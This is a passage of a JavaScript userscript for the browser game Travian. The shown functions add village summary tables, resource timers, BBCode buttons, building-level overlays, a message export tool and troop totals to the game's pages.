1'));\n\t\ttr.appendChild($elem(\"TD\", ' / 2'));\n\t\ttr.appendChild($elem(\"TD\", ' / 3'));\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" + img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea7(did), 0);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 6; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 6)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\t}\n\n\n\tfunction resumenAldeasT()\n\t{ // par Mik french\n\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\t\tvar locationFlag = location.href.indexOf('dorf3.php') == -1 ? false : true;\n\t\tif (!travplus && locationFlag)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid1']\", XPFirst); //localisation //ltrm:inforessource-armé //lright1:dessous nom de village\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"right\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font style=\"font-size:12px; color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tvar mouseEvent = locationFlag ? \"mouseout\" : \"click\";\n\t\tFullRefresh.addEventListener(mouseEvent, function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaT(did), 1000 * 1);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaM(did), 1000 * 1);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaF(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\ttr.appendChild(FullRefresh);\n\n\t\tvar td2 = $elem(\"TD\", '<font style=\"font-size:12px; color=#4169E1>' + T('RESUMEN') + ' ' + T('ALDEA') + '</font>');\n\t\ttd2.setAttribute(\"colspan\", \"7\");\n\t\ttr.appendChild(td2);\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='5' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"click\", function(e)\n\t\t\t\t{\tif(e.target.nodeName == \"A\")\n\t\t\t\t\t\tvar did = $tags('img', e.target)[0].id.match(/\\d+/);\n\t\t\t\t\telse\n\t\t\t\t\t\tvar did = e.target.id.match(/\\d+/);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaT(did), 100);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaM(did), 100);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaF(did), 100);\n\t\t\t\t}, 0);\n\t\t\t\ttd.appendChild(enlace);\n\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:12px\" href=\"dorf2.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 7; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 7)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!locationFlag)\n\t\t{\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\telse\n\t\t{\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\t\ta = get(\"lmid2\");\n\t\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t\t{\tif (a.firstChild)\n\t\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\t\telse\n\t\t\t\t\ta.appendChild(tabla);\n\t\t\t}\n\t\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t\t{\ta.appendChild($elem('p', ''));\n\t\t\t\ta.appendChild(tabla);\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction crearTemporizadorRecurso(i)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\t/*\n\t\t\t * Actualiza las cantidades restantes por cada tipo de recurso si corresponde hacerlo en este\n\t\t\t * ciclo de reloj segun la adaptacion de frecuencias anterior\n\t\t\t */\n\t\t\tactual[i]++;\n\t\t\tvar recursos = find(\"//*[@id='timeout\" + i + \"']\", XPList);\n\t\t\tfor (var j = 0; j < recursos.snapshotLength; j++)\n\t\t\t{\n\t\t\t\tvar cantidad = recursos.snapshotItem(j).innerHTML - 1; // calculate needed recource quantity\n\t\t\t\tif (cantidad >= 0)\n\t\t\t\t{\n\t\t\t\t\trecursos.snapshotItem(j).innerHTML = cantidad;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tremoveElement(recursos.snapshotItem(j).parentNode);//document.location.reload();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n\n\t/** Il crée le temporisateur chargé de mettre à jour les nouvelles horloges et les quantités de ressources qui manquent */\n\tfunction setTimers()\n\t{\n\t\t// Calcula cada cuantos segundos debe actualizar cada contador de recursos restantes para\n\t\t// aprovechar el temporizador del resto de relojes\n\t\tvar frecuencia = new Array(4);\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tfrecuencia[i] = (1000.0 / Math.abs(produccion[i]));\n\t\t\tif (!isFinite(frecuencia[i]) || frecuencia[i] < 0 || total[i] - actual[i] == 0)\n\t\t\t{\n\t\t\t\tfrecuencia[i] = Number.POSITIVE_INFINITY;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tsetInterval(crearTemporizadorRecurso(i), Math.floor(frecuencia[i]));\n\t\t\t}\n\t\t}\n\n\t\tsetInterval(function()\n\t\t{\n\t\t\t/*\n\t\t\t * Se distinguen dos tipos de temporizadores, timeout y timeouta. Solo los primeros\n\t\t\t * provocan que la pagina se actualice al llegar a 0.\n\t\t\t */\n\t\t\tvar relojes = find(\"//*[@id='timeout' or @id='timeouta']\", XPList);\n\t\t\tfor (var i = 0; i < relojes.snapshotLength; i++)\n\t\t\t{\n\t\t\t\tvar tiempo = calcular_segundos(relojes.snapshotItem(i).innerHTML) - 1; // calculate in seconds\n\t\t\t\tif (tiempo >= 0)\n\t\t\t\t{ // not reached\n\t\t\t\t\trelojes.snapshotItem(i).innerHTML = formatear_tiempo(tiempo);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tif (relojes.snapshotItem(i).id == 'timeout')\n\t\t\t\t\t{\n\t\t\t\t\t\t// log(1,\"document reload because: \"+relojes.snapshotItem(i).innerHTML);\n\t\t\t\t\t\tremoveElement(relojes.snapshotItem(i).parentNode);// document.location.reload();\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Aggiorna il totale risorse\n\t\t\t//\t\tvar relojesb = find(\"//*[@id='timeoutb']\", XPList);\n\t\t\t//\t\tfor (var i = 0; i < relojesb.snapshotLength; i++){\n\t\t\t//\t\t\trelojesb.snapshotItem(i).innerHTML = CalcolaTotaleRisorse();\n\t\t\t//\t\t\t\t//alert(\"poppo\");\n\t\t\t// }\n\n\t\t}, 1000);\n\n\t}\n\n\tfunction BBcodeHelp()\n\t{\n\t\tif (!readCookie('BBcodeHelp'))\n\t\t\treturn;\n\t\tvar BBcodes = [\n\t\t\t['<b>B</b>', 'b', T('BBC_B')],\n\t\t\t['<i>i</i>', 'i', T('BBC_I')],\n\t\t\t['u', 'u', T('BBC_U')],\n\t\t\t['c', 'c', T('BBC_C')],\n\t\t\t['<', '<', T('BBC_LEFT')],\n\t\t\t['>', '>', T('BBC_RIGHT')],\n\t\t\t['Color', ['color=', 'color'], T('BBC_COLOR')],\n\t\t\t['url', 'url', T('BBC_URL')],\n\t\t\t['img', 'img', T('BBC_IMG')],\n\t\t\t['Blink', 'blink', T('BBC_BLINK')]\n\t\t];\n\n\t\tif (!get('igm'))\n\t\t\treturn;\n\t\tvar form = $names('msg')[0];\n\t\tvar div = $elem(\"div\");\n\t\t$elem(\"b\", T('BBC') + \":\", {}, {}, div);\n\t\t$elem(\"br\", \"\", {}, {}, div);\n\n\t\tfor(i = 0; i < BBcodes.length; i++)\n\t\t{\n\t\t\tvar btn = $elem(\"button\", BBcodes[i][0], {\n\t\t\t\t\"class\": \"bbchelp\",\n\t\t\t\t\"btn\": i,\n\t\t\t\t\"title\": BBcodes[i][2]\n\t\t\t\t}, {}, div);\n\t\t\tbtn.addEventListener('click', function(e){\n\t\t\t\t\tvar i = e.target.getAttribute('btn');\n\t\t\t\t\tvar area = get('igm');\n\t\t\t\t\tvar txt = area.value;\n\t\t\t\t\tvar start = area.selectionStart;\n\t\t\t\t\tvar end = area.selectionEnd;\n\t\t\t\t\tvar BBC1 = (typeof BBcodes[i][1] != 'string') ? '[' + BBcodes[i][1][0] + ']' : '[' + BBcodes[i][1] + ']';\n \t\t\t\t\tvar BBC2 = (typeof BBcodes[i][1] != 'string') ? '[/' + BBcodes[i][1][1] + ']' : '[/' + BBcodes[i][1] + ']';\n\t\t\t\t\tarea.value = txt.substring(0, start) + BBC1 + txt.substring(start, end) + BBC2 + txt.substring(end);\n\t\t\t\t\tarea.setSelectionRange(start + BBC1.length, end + BBC1.length);\n\t\t\t\t\tarea.focus();\n\t\t\t}, true);\n\t\t}\n\t\tinsertAfter(form, div);\n\t}\n\n\t//Center Numbers section\n\tvar _setValue, _getValue, _removeValue, glStorage, nameSpace = 'CN.';\n\n\tfunction CenterNumbersSaveValue()\n\t{\n\t\tif (typeof GM_setValue != \"undefined\")\n\t\t{\n\t\t\t_setValue = function(name, value)\n\t\t\t{\n\t\t\t\tGM_setValue(name, value)\n\t\t\t};\n\t\t\t_getValue = function(name, defaultValue)\n\t\t\t{\n\t\t\t\treturn GM_getValue(name, defaultValue)\n\t\t\t};\n\t\t\t_removeValue = function(name)\n\t\t\t{\n\t\t\t\tGM_setValue(name, '')\n\t\t\t};\n\t\t}\n\t\telse\n\t\t{\n\t\t\t_setValue = function(name, value)\n\t\t\t{\n\t\t\t\tdocument.cookie = nameSpace + name + '=' + escape(value) + ';expires=\"\";path=/';\n\t\t\t};\n\t\t\t_getValue = function(name, defaultValue)\n\t\t\t{\n\t\t\t\tvar reg = new RegExp(nameSpace + name + \"=([^;\\n\\r]*);?\", \"i\");\n\t\t\t\tvar data = reg.exec(document.cookie);\n\t\t\t\tif (data == null || data.length <= 1)\n\t\t\t\t{\n\t\t\t\t\treturn defaultValue;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\treturn unescape(data[1]);\n\t\t\t};\n\t\t\t_removeValue = function(name)\n\t\t\t{\n\t\t\t\t_setValue(name, '');\n\t\t\t};\n\t\t}\n\t}\n\n\tfunction ShowCenterNumbers()\n\t{\n\t\tinitvillinfo = readCookie(\"initvillinfo\" + server);\n\t\tif (initvillinfo == true || initvillinfo == null)\n\t\t{\n\n\t\t\tCenterNumbersSaveValue();\n\t\t\tCenterNumbersShowNumbers();\n\t\t}\n\t}\n\n\tfunction colorLvl(currLvl, structGid,currentTotalRes)\n\t{\n\t\teval('var nameStruct = ' + gidToName[structGid] + 'Cost;');\n\t\tvar result = 1;\n\t\tvar neededResNPC = 0;\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tif (actual[i] < nameStruct[parseInt(currLvl) + 1][i])\n\t\t\t{\n\t\t\t\tresult = 0;\n\t\t\t // i = 4;\n\t\t\t}\n\t\t\tneededResNPC += nameStruct[parseInt(currLvl) + 1][i];\n\t\t}\n\t\tif (result == 0 && neededResNPC <= currentTotalRes)\n\t\t{\n\t\t\tresult = 2;\n\t\t}\n\t\treturn result;\n\t}\n\n\tfunction CenterNumbersShowNumbers()\n\t{\n\t\tvar currentTotalRes = 0;\n\t\t//compute total resource units available in the village\n\t\tfor (var i = 0; i <4; i++) {\n\t\t\tcurrentTotalRes += parseInt(actual[i]);\n\t\t}\n\t\t// Map1 holds building names, level and building spot IDs in area elements\n\t\tvar map1Element = $names('map1')[0];\n\t\tif (map1Element)\n\t\t{\n\t\t\t// Map1 ONLY has area children.\n\t\t\tvar areaElements = $tags('area', map1Element);\n\t\t\tvar lvlBuilding, aDIV, coords;\n\t\t\tvar BuildingURL = new Array(21);\n\n\t\t\tfor (var i = 0; i < 22; i++)\n\t\t\t{\n\t\t\t\tlvlBuilding = /(\\d+)/.exec(areaElements[i].getAttribute(\"title\"));\n\t\t\t\tBuildingURL = areaElements[i].getAttribute(\"href\");\n\t\t\t\tcoords = areaElements[i].coords.split(',');\n\n\t\t\t\t// Only show spots if buildings are available\n\t\t\t\tif (lvlBuilding){\n\t\t\t\t\tvar imgId = BuildingURL.match(/id\\=(\\d+)/)[1] - 18;\n\t\t\t\t\t//For all the structures (also the rallyPoint)\n\t\t\t\t\tif (imgId == 21) { imgId = 'x1'; }\n\t\t\t\t\ttry { var gid = find('//img[@class=\"d' + imgId + '\"]', XPFirst).src.match(/g(\\d+)/)[1];\n\t\t\t\t\t\t} catch(e) {}\n\t\t\t\t\t//Only for the wall\n\t\t\t\t\tif (imgId == 22) {\n\t\t\t\t\t\tvar aux = find(\"//div[starts-with(@class, 'd2_x')]/@class\", XPFirst).nodeValue;\n\t\t\t\t\t\tif (aux){\n\t\t\t\t\t\t\tswitch(aux){\n\t\t\t\t\t\t\t\tcase 'd2_x d2_1' : gid = 31; break;\n\t\t\t\t\t\t\t\tcase 'd2_x d2_11': gid = 32; break;\n\t\t\t\t\t\t\t\tcase 'd2_x d2_12': gid = 33; break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\taDIV = $elem(\"DIV\", \"\", {\n\t\t\t\t\t\t'id': 'CNbuildingtag' + i,\n\t\t\t\t\t\t'class': 'CNbuildingtags'\n\t\t\t\t\t},{\n\t\t\t\t\t\t'top': (parseInt(coords[1]) + 60) + 'px',\n\t\t\t\t\t\t'left': (parseInt(coords[0]) + 95) + 'px',\n\t\t\t\t\t\t'visibility' : 'visible'\n\t\t\t\t\t});\n\t\t\t\t\tvar aLink = $elem(\"A\", \"\", {'href': BuildingURL}, {}, aDIV);\n\n\t\t\t\t\t//alert(aLink.href);\n\t\t\t\t\tif (lvlBuilding[0]) {aDIV.innerHTML = lvlBuilding[0];}\n\t\t\t\t\t//alert(BuildingURL);\n\t\t\t\t\tvar strLvlBuilding = lvlBuilding.toString();\n\t\t\t\t\tif (lvlBuilding[0] == getMaxLevel(gid)) {\n\t\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_MAX_LEVEL;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar colorCode = colorLvl(strLvlBuilding.substr(0,strLvlBuilding.indexOf(\",\")),parseInt(gid), currentTotalRes);\n\t\t\t\t\t\tif (colorCode == 0) {\n\t\t\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_NO_UPGRADE;\n\t\t\t\t\t\t} else if (colorCode == 2) {\n\t\t\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_UPGRADABLE_VIA_NPC;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tget('lmid2').appendChild(aDIV);\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\t// Generic div.\n\tfunction addDiv(id, style, html, parent)\n\t{\n\t\tvar body, aDIV;\n\t\tif (!parent)\n\t\t{\n\t\t\tbody = $tags('body')[0];\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbody = $tags(parent);\n\t\t}\n\t\tif (!body)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\taDIV = $elem('div');\n\t\taDIV.id = id;\n\t\taDIV.className = style;\n\t\tif (html)\n\t\t{\n\t\t\taDIV.innerHTML = html;\n\t\t}\n\t\tget('lmid2').appendChild(aDIV);\n\t\treturn aDIV;\n\t}\n\n\tfunction getMaxLevel(gid)\n\t{\n\t\tvar maxLevel;\n\t\tswitch (gid)\n\t\t{\n\t\t\tcase '5':\n\t\t\tcase '6':\n\t\t\tcase '7':\n\t\t\tcase '8':\n\t\t\tcase '9':\n\t\t\t\tmaxLevel = 5;\n\t\t\t\tbreak;\n\t\t\tcase '23':\n\t\t\tcase '27':\n\t\t\t\tmaxLevel = 10;\n\t\t\t\tbreak;\n\t\t\tcase '40':\n\t\t\t\tmaxLevel = 100;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tmaxLevel = 20;\n\t\t}\n\t\treturn (maxLevel)\n\t}\n\n\t// L'exportation message texte\n\tfunction archiveIGM()\n\t{\n\t\tIMGinfo = readCookie(\"IMGinfo\" + server);\n\t\tif (IMGinfo == true || IMGinfo == null)\n\t\t{\n\t\t\tvar a = find(\"//form[@name='msg']\", XPFirst);\n\t\t\t// Creates structure HTML of the pad\n\t\t\tvar table = $elem(\"TABLE\");\n\t\t\tvar row1 = $elem(\"TR\");\n\t\t\tvar row2 = $elem(\"TR\");\n\t\t\tvar row3 = $elem(\"TR\");\n\t\t\tvar cell1 = $elem(\"TD\");\n\t\t\tvar cell2 = $elem(\"TD\");\n\t\t\tvar cell3 = $elem(\"TD\");\n\t\t\tvar p = $elem(\"P\");\n\t\t\tvar textarea = $elem(\"TEXTAREA\", \"\");\n\t\t\tvar input = $elem(\"INPUT\");\n\t\t\t//設定屬性\n\t\t\ttable.setAttribute(\"class\", \"tbg\");\n\t\t\ttable.setAttribute(\"cellpadding\", \"2\");\n\t\t\ttable.setAttribute(\"cellspacing\", \"1\");\n\t\t\trow1.setAttribute(\"class\", \"rbg\");\n\t\t\tcell1.innerHTML = T('IGMOUTPUT');\n\t\t\ttextarea.setAttribute(\"name\", \"IGMoutput\");\n\t\t\ttextarea.setAttribute(\"rows\", \"12\");\n\t\t\ttextarea.setAttribute(\"style\", 'font-size: 10pt; width: 98%;overflow-x:none');\n\t\t\trow3.setAttribute(\"class\", \"rbg\");\n\t\t\tinput.setAttribute(\"type\", \"button\");\n\t\t\tinput.setAttribute(\"value\", T('IGMOUTPUT'));\n\t\t\tinput.addEventListener(\"click\", function()\n\t\t\t{\n\t\t\t\toutputIGM();\n\t\t\t}, 0);\n\n\t\t\trow1.appendChild(cell1);\n\t\t\tcell2.appendChild(textarea);\n\t\t\trow2.appendChild(cell2);\n\t\t\tcell3.appendChild(input);\n\t\t\trow3.appendChild(cell3);\n\t\t\ttable.appendChild(row1);\n\t\t\ttable.appendChild(row2);\n\t\t\ttable.appendChild(row3);\n\t\t\ta.parentNode.appendChild(p);\n\t\t\ta.parentNode.appendChild(table);\n\t\t}\n\t}\n\n\tfunction getIGM(t)\n\t{\n\t\tvar ans = $elem('DIV');\n\t\tans.innerHTML = t.responseText;\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tansdoc.appendChild(ans);\n\t\tvar igmsingle = '';\n\t\tigmsingle += T('IGMSENTER') + ':' + ansdoc.evaluate(\"//form[@action='nachrichten.php']//tr[2]/td[3]\", ans, null, XPFirst, null).singleNodeValue.textContent + '\\n';\n\t\tigmsingle += T('IGMTITLE') + ':' + ansdoc.evaluate(\"//form[@action='nachrichten.php']//tr[3]/td[2]\", ans, null, XPFirst, null).singleNodeValue.textContent + '\\n';\n\t\tigmsingle += T('IGMDATE') + ':' + ansdoc.evaluate(\"//form[@action='nachrichten.php']//tr[2]/td[4]\", ans, null, XPFirst, null).singleNodeValue.textContent + ',';\n\t\tigmsingle += T('IGMTIME') + ':' + ansdoc.evaluate(\"//form[@action='nachrichten.php']//tr[3]/td[3]\", ans, null, XPFirst, null).singleNodeValue.textContent + '\\n';\n\t\tigmsingle += ansdoc.evaluate(\"//form[@action='nachrichten.php']//tr[5]/td[2]\", ans, null, XPFirst, null).singleNodeValue.textContent;\n\t\tigmsingle += '\\n\\n==========\\n\\n';\n\t\t//return igmsingle;\n\t\tvar a = find(\"//textarea[@name='IGMoutput']\", XPFirst);\n\t\ta.value += igmsingle;\n\t}\n\n\tfunction outputIGM()\n\t{\n\t\tvar igms = find(\"//form[@name='msg']//td[2]/a\", XPList);\n\t\tvar a = find(\"//textarea[@name='IGMoutput']\", XPFirst);\n\t\ta.value = '';\n\n\t\tfor (var i = igms.snapshotLength - 1; i >= 0; i--)\n\t\t{\n\t\t\tvar igmlink = igms.snapshotItem(i);\n\t\t\tajaxRequest(igmlink.href, \"GET\", null, getIGM, dummy);\n\t\t}\n\t}\n\n\tfunction changeText()\n\t{\n\t\ttry\n\t\t{\n\t\t\teval('var text = text_' + language);\n\t\t\treemplazartextRecursivo(document.body, text);\n\t\t}\n\t\tcatch (e)\n\t\t{\n\t\t}\n\t}\n\n\tfunction xpathEvaluateInContext(context, xpathExpr)\n\t{\n\t\treturn document.evaluate(xpathExpr, context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n\t}\n\n\tfunction xpathEvaluate(xpathExpr)\n\t{\n\t\treturn document.evaluate(xpathExpr, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n\t}\n\n\tfunction getActiveVillageCoordZ()\n\t{\n\t\tvar activeVillageLink = xpathEvaluate('//a[@class=\"active_vl\"]/../../td/table/tbody/tr/td');\n\t\tvar coordXCurrentActiveVillage = -10000;\n\t\tvar coordYCurrentActiveVillage = -10000;\n\t\tif (activeVillageLink.snapshotLength > 0)\n\t\t{\n\t\t\tcoordXCurrentActiveVillage = parseInt(activeVillageLink.snapshotItem(0).innerHTML.replace(\"(\", \"\"));\n\t\t\tcoordYCurrentActiveVillage = parseInt(activeVillageLink.snapshotItem(2).innerHTML.replace(\")\", \"\"));\n\t\t}\n\t\treturn xy2id(coordXCurrentActiveVillage, coordYCurrentActiveVillage);\n\t}\n\n\tfunction QP_addOwnTownTotalTroopsTable()\n\t{\n\t\tif(location.href.indexOf('spieler.php') > -1)\n\t\t\treturn;\n\t\tTototroupe = readCookie(\"Tototroupe\" + server);\n\t\tif (Tototroupe == true || Tototroupe == null)\n\t\t{\n\t\t\tvar activeVillageCoordZ = getActiveVillageCoordZ();\n\n\t\t\tvar ownTroopsTables = xpathEvaluate('//div[@id=\"lmid2\"]/table/tbody/tr/td[1]/a[contains(@href, ' + activeVillageCoordZ + ')]/../../../..|//div[@id=\"lmid2\"]/p[@class=\"b f16\"]');\n\n\t\t\tif (ownTroopsTables.snapshotLength > 0)\n\t\t\t{\n\t\t\t\tvar newTable = ownTroopsTables.snapshotItem(0).cloneNode(true);\n\t\t\t\tvar newTableTitleRow = newTable.rows[0];\n\t\t\t\tvar newTableIconsRow = newTable.rows[1];\n\t\t\t\tvar newTableTroopsRow = newTable.rows[2];\n\t\t\t\tvar newTableCropRow = newTable.rows[3];\n\n\t\t\t\tnewTableIconsRow.cells[0].width = newTable.rows[0].cells[0].width;\n\t\t\t\t//\t\t\tnewTableCropRow.cells[0].width = newTable.rows[0].width;\n\n\t\t\t\tfor (var i = 1, len = ownTroopsTables.snapshotLength; i < len; i++)\n\t\t\t\t{ // table 0 is the cloned one above\n\t\t\t\t\tvar currentTable = ownTroopsTables.snapshotItem(i);\n\n\t\t\t\t\t// doesn't count on oasis to not double count\n\t\t\t\t\tif (currentTable.nodeName == \"P\")\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar currentTroopsCells = xpathEvaluateInContext(currentTable, 'tbody/tr[3]').snapshotItem(0);\n\n\t\t\t\t\t// creates the hero column in case it wasn't in the \"totals\" table but the hero belongs to this town now\n\t\t\t\t\tif (currentTroopsCells.cells.length == 12)\n\t\t\t\t\t{\n\t\t\t\t\t\t// clone the hero icon cell\n\t\t\t\t\t\tvar currentTroopsHeroIconCell = xpathEvaluateInContext(currentTable, 'tbody/tr[2]/td[12]').snapshotItem(0);\n\t\t\t\t\t\tnewTableIconsRow.appendChild(currentTroopsHeroIconCell.cloneNode(true));\n\t\t\t\t\t\t// create the hero amount cell (with 0 amount, it will be added as normal)\n\t\t\t\t\t\tvar newHeroAmountCell = currentTroopsCells.cells[11].cloneNode(true);\n\t\t\t\t\t\tnewHeroAmountCell.innerHTML = 0;\n\t\t\t\t\t\tnewTableTroopsRow.appendChild(newHeroAmountCell);\n\n\t\t\t\t\t\tnewTableCropRow.cells[1].colSpan = 11;\n\t\t\t\t\t}\n\n\t\t\t\t\t// ADDS UP THE TROOPS\n\t\t\t\t\tfor (var j = 1; j < currentTroopsCells.cells.length; j++)\n\t\t\t\t\t{ // cell 0 has the word \"troops\"\n\t\t\t\t\t\tnewTableTroopsRow.cells[j].innerHTML = parseInt(newTableTroopsRow.cells[j].innerHTML) + parseInt(currentTroopsCells.cells[j].innerHTML);\n\t\t\t\t\t}\n\n\t\t\t\t\tvar currentCropCells = xpathEvaluateInContext(currentTable, 'tbody/tr[4]').snapshotItem(0);\n\t\t\t\t\tnewTableCropRow.cells[1].innerHTML = parseInt(newTableCropRow.cells[1].textContent ? newTableCropRow.cells[1].textContent : newTableCropRow.cells[1].innerText) + parseInt(currentCropCells.cells[1].textContent ? currentCropCells.cells[1].textContent : currentCropCells.cells[1].innerText) ? parseInt(currentCropCells.cells[1].textContent ? currentCropCells.cells[1].textContent : currentCropCells.cells[1].innerText) : 0;\n\n\t\t\t\t}\n\t\t\t\t// make the totals 0s greyed out and the non-0s non-grayed out\n\t\t\t\tfor (var j = 1; j < newTableTroopsRow.cells.length; j++)\n\t\t\t\t{ // cell 0 has the word \"troops\"\n\t\t\t\t\tnewTableTroopsRow.cells[j].className = (newTableTroopsRow.cells[j].innerHTML == 0) ? \"c\" : \"\";\n\t\t\t\t}\n\t\t\t\t// change the title row\n\t\t\t\tvar newTableTitleCell = newTableTitleRow.cells[0];\n\t\t\t\tnewTableTitleRow.innerHTML = \"\";\n\t\t\t\tnewTableTitleRow.appendChild(newTableTitleCell);\n\t\t\t\tnewTableTitleCell.colSpan = 0;\n\t\t\t\t// remove all and re-insert the 1st 3 rows - removes the upkeep/arrival row //\tsupprimer tous et re-insérer la 1ère 3 lignes - supprime l'entretien / la ligne d'arrivée\n\n\n\t\t\t\tnewTableCropRow.cells[1].innerHTML += ' 